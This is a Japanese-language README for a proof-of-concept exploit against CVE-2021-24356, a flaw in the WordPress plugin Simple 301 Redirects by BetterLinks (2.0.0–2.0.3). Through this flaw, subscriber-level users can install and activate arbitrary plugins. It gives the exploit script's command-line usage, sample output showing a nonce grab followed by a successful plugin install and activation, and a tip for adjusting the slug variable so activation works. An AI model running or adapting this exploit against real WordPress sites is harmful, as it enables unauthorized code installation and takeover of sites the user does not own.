CVE-2021-24356

Simple 301 Redirects by BetterLinks - 2.0.0 – 2.0.3 - 購読者 + 任意のプラグインインストール

説明

プラグインのAJAXアクションに対する機能チェックの欠如と不十分なnonceチェックにより、認証されたユーザーが脆弱なサイトに任意のプラグインをインストールできるようになりました。

使用方法

$ python3 CVE-2021-24356.py --url http://wordpress.lan --username user --password useruser1 --slug betterlinks
Getting REST API Nonce!
Nonce Found: dd72f43027
Installing Plugin!
{"success":true,"data":"Plugin is installed successfully!"}
Activating Plugin!
{"success":true,"data":"BetterLinks is activated!"}

注：一部のプラグインはアクティブ化できない場合があります。その場合は、sluga変数をプラグインのメインファイルである path/file.php に変更する必要があります。このスクリプトは、スラッグが betterlinks のようで、プラグインのメインファイルが betterlinks.php と呼ばれている場合に非常にうまく動作します。